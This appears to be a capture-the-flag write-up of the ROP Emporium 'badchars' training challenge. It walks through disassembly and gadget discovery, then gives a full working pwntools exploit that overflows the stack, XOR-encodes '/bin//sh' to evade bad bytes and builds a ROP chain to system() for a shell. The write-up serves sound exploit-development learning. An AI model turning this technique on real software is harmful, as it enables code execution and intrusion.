ROP Emporium - badchars


The previous challenge taught a very important pattern of "the mover" by performing chunked writes of arbitrary data into memory. This next challenge deals with a illegal or bad characters. Most everyone who has written exploits before has run into them at some point. Manually searching for which bytes are considered bad can be rather time consuming so plenty of tools have incorporated automatic detection. In our case the input characters which will result in badbytes have also been provided to us to make it easier to focus on the actual exploit.

Exploring the binary

Nothing new under the sun, still NX enabled and further protection mechanisms disabled:

jasper@ropper:~/ropemporium/badchars$ checksec badchars
[*] '/home/jasper/ropemporium/badchars/badchars'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

At this point I'm looking forward to experiment with bypassing the stack canary. This won't be covered by ROP Emporium so I'll look elsewhere how to accomplish this.

As stated the badbytes are known up front and we don't have to compare memory against a pre-generated file containing all bytes which you'd usually do.

jasper@ropper:~/ropemporium/badchars$ ./badchars
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
>

Just to be sure we can disassemble the aptly named checkBadChar() function:

[0x00400a40]> pdb
/ (fcn) sym.checkBadchars 158
|   sym.checkBadchars (int arg1, unsigned int arg2);
|           ; var unsigned int local_30h @ rbp-0x30
|           ; var int local_28h @ rbp-0x28
|           ; var int local_20h @ rbp-0x20
|           ; var int local_1fh @ rbp-0x1f
|           ; var int local_1eh @ rbp-0x1e
|           ; var int local_1dh @ rbp-0x1d
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_1bh @ rbp-0x1b
|           ; var int local_1ah @ rbp-0x1a
|           ; var int local_19h @ rbp-0x19
|           ; var unsigned int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; arg int arg1 @ rdi
|           ; arg unsigned int arg2 @ rsi
|           ; CALL XREF from sym.pwnme (0x4009b0)
|           0x00400a40      55             push rbp
|           0x00400a41      4889e5         mov rbp, rsp
|           0x00400a44      48897dd8       mov qword [local_28h], rdi  ; arg1
|           0x00400a48      488975d0       mov qword [local_30h], rsi  ; arg2
|           0x00400a4c      c645e062       mov byte [local_20h], 0x62  ; 'b' ; 98
|           0x00400a50      c645e169       mov byte [local_1fh], 0x69  ; 'i' ; 105
|           0x00400a54      c645e263       mov byte [local_1eh], 0x63  ; 'c' ; 99
|           0x00400a58      c645e32f       mov byte [local_1dh], 0x2f  ; '/' ; 47
|           0x00400a5c      c645e420       mov byte [local_1ch], 0x20  ; 32
|           0x00400a60      c645e566       mov byte [local_1bh], 0x66  ; 'f' ; 102
|           0x00400a64      c645e66e       mov byte [local_1ah], 0x6e  ; 'n' ; 110
|           0x00400a68      c645e773       mov byte [local_19h], 0x73  ; 's' ; 115
|           0x00400a6c      48c745f80000.  mov qword [local_8h], 0
|           0x00400a74      48c745f00000.  mov qword [local_10h], 0
|           0x00400a7c      48c745f80000.  mov qword [local_8h], 0
|       ,=< 0x00400a84      eb4b           jmp 0x400ad1
[0x00400a40]>

Here too there is a call to system() but not with an argument we can readily re-use, but at least there is a PLT entry for this function for later use:

[0x004006f0]> afl
0x00400698    3 26           sym._init
0x004006d0    1 6            sym.imp.free
0x004006e0    1 6            sym.imp.puts
0x004006f0    1 6            sym.imp.system
0x00400700    1 6            sym.imp.printf
0x00400710    1 6            sym.imp.memset
0x00400720    1 6            sym.imp.__libc_start_main
0x00400730    1 6            sym.imp.fgets
0x00400740    1 6            sym.imp.memcpy
0x00400750    1 6            sym.imp.malloc
0x00400760    1 6            sym.imp.setvbuf
0x00400770    1 6            sym.imp.exit
0x00400780    1 6            sub.__gmon_start_400780
0x00400790    1 41           entry0
0x004007c0    4 50   -> 41   sym.deregister_tm_clones
0x00400800    4 58   -> 55   sym.register_tm_clones
0x00400840    3 28           sym.__do_global_dtors_aux
0x00400860    4 38   -> 35   entry.init0
0x00400886    1 111          sym.main
0x004008f5    4 234          sym.pwnme
0x004009df    1 17           sym.usefulFunction
0x004009f0    7 80           sym.nstrlen
0x00400a40    9 158          sym.checkBadchars
0x00400b50    4 101          sym.__libc_csu_init
0x00400bc0    1 2            sym.__libc_csu_fini
0x00400bc4    1 9            sym._fini
[0x004006f0]> s 0x004006f0
[0x004006f0]> pdb
/ (fcn) sym.imp.system 6
|   sym.imp.system (const char *string);
|           ; CALL XREF from sym.usefulFunction (0x4009e8)
\           0x004006f0      ff2532092000   jmp qword reloc.system      ; [0x601028:8]=0x4006f6
[0x004006f0]> s sym.usefulFunction
[0x004009df]> pdb
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x004009df      55             push rbp
|           0x004009e0      4889e5         mov rbp, rsp
|           0x004009e3      bf2f0c4000     mov edi, str.bin_ls         ; 0x400c2f ; "/bin/ls" ; const char *string
|           0x004009e8      e803fdffff     call sym.imp.system         ; int system(const char *string)
|           0x004009ed      90             nop
|           0x004009ee      5d             pop rbp
\           0x004009ef      c3             ret
[0x004009df]>

Now, while looking at the output of objdump -M intel -D badchars I noticed a "function" named usefulGadgets. It wasn't called in this binary and in fact wasn't really a function because it lacks the standard prologue and epilogue code. This is probably the reason why r2 couldn't find it. However it does contain something interesting:

[0x00400886]> s 0x0000000000400b30
[0x00400b30]> pdb
Cannot find function at 0x00400b30
[0x00400b30]> pd
            ;-- usefulGadgets:
            0x00400b30      453037         xor byte [r15], r14b
            0x00400b33      c3             ret
            0x00400b34      4d896500       mov qword [r13], r12
            0x00400b38      c3             ret
            0x00400b39      5f             pop rdi
            0x00400b3a      c3             ret
            0x00400b3b      415c           pop r12
            0x00400b3d      415d           pop r13
            0x00400b3f      c3             ret
            0x00400b40      415e           pop r14
            0x00400b42      415f           pop r15
            0x00400b44      c3             ret
            0x00400b45      662e0f1f8400.  nop word cs:[rax + rax]
            0x00400b4f      90             nop

The gadget at 0x00400b30 can help us in decoding XOR-encoded input which the program would have read through fgets() in pwnme():

|           0x00400984      e8a7fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x00400989      488945d8       mov qword [ptr], rax
|           0x0040098d      488b45d8       mov rax, qword [ptr]
|           0x00400991      be00020000     mov esi, 0x200              ; 512
|           0x00400996      4889c7         mov rdi, rax
|           0x00400999      e852000000     call sym.nstrlen
|           0x0040099e      488945d0       mov qword [s1], rax
|           0x004009a2      488b55d0       mov rdx, qword [s1]
|           0x004009a6      488b45d8       mov rax, qword [ptr]
|           0x004009aa      4889d6         mov rsi, rdx
|           0x004009ad      4889c7         mov rdi, rax
|           0x004009b0      e88b000000     call sym.checkBadchars

We cannot bypass the call to checkBadchars() because that happens from within pwnme() meaning that we overwrite the return address after pwnme() so afterwards we take over control of the execution flow but we still have to complete the execution of pwnme.

Further gadgets can quickly be found using Ropper too with: ropper --file badchars --badbytes 6263692f2073666e.

Encoding the input

Knowing the list of badbytes and given the gadget that can XOR a byte and store it at a different address, we can figure out how to exploit this binary. If we XOR-encode our payload with a key and ensure the output doesn't contain one of the badbytes, we can decode the payload in memory.

I chose to use a byte as the key where the value lies far outside the range of the ASCII table and thus makes it less likely to result in bad bytes. To make sure that all bytes of a given input of 8 bytes are encoded I extend the key. So 0xa9 (key byte) becomes 0xa9a9a9a9a9a9a9a9 (full key).

The final ROP chain moves the encoded payload with one swift mov into .bss and then adds the frames to decode it byte by byte. The result is a fairly large payload of 321 bytes, but it does the job just fine!

Exploit

jasper@ropper:~/ropemporium/badchars$ python badchars.py
[+] Starting local process './badchars': pid 23056
[*] Switching to interactive mode
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$

The final exploit code is as follows:

#!/usr/bin/env python2

import argparse

from pwn import *

# XOR encode the input
def encode(input, key):
    # We should XOR it with a key that lies outside of the ASCII range
    # to prevent creating an encrypted value that contains one of the
    # bad chars.
    if key < 0x80:
        log.warning('Chosen key might result in bad bytes!')

    # First convert the command to strings in LE hex
    enc = enhex(input[::-1])

    # Now convert it to an integer so we can XOR it. Otherwise
    # we attempt to XOR the key with a string ('0xsomething')
    # which doesn't use the right types.
    enc = int(enc, 16)

    # Convert the key byte into a full 8 byte key.
    key = int('0x' + (hex(key)[2:4] * 8), 16)

    enc = p64(enc ^ key)

    bad_bytes = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x73, 0x66, 0x6e]
    for b in bad_bytes:
        if p8(b) in enc:
            log.error('Found a bad byte in the encoded command: {}'.format(hex(b)))

    return enc

def exploit():
    p = process('./badchars')
    p.recvuntil('\n> ')

    # Gadgets
    pop_rdi = p64(0x400b39)
    pop_r14_r15 = p64(0x400b40)
    # 400b30: xor byte ptr [r15], r14b; ret;
    # xor r14b with [r15] and store the result in [r15]
    xor_r15_r14b = p64(0x400b30)
    # 400b34: mov qword ptr [r13], r12; ret;
    mov_r13_r12 = p64(0x400b34)
    pop_r12_r13 = p64(0x400b3b)

    nop = p64(0x4006b1)

    # Functions (and PLT entries)
    system_plt = p64(0x4006f0)
    bss = 0x601080

    key = 0xa9

    cmd = encode('/bin//sh', key)

    payload = 'A' * 40
    payload += pop_r12_r13
    payload += cmd
    payload += p64(bss)
    payload += mov_r13_r12

    # Loop through cmd (8 bytes) and decode each byte in-place using our key
    # through the xor gadget we found.
    for i in range(0, 8): 
        payload += pop_r14_r15
        payload += p64(key)
        payload += p64(bss + i)
        payload += xor_r15_r14b

    payload += pop_rdi
    payload += p64(bss)
    payload += nop
    payload += system_plt

    p.sendline(payload)
    p.interactive()


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--arch', '-a',
            help='Binary architecture', default='amd64')
    parser.add_argument('--os', '-O',
            help='Operating system', default='linux')
    parser.add_argument('--debug', '-d',
            help='Enable debug output', default=False,
            action='store_true')
    args = parser.parse_args()

    context(os=args.os, arch=args.arch)

    if args.debug:
        context.log_level = 'debug'

    exploit()

if __name__ == '__main__':
    main()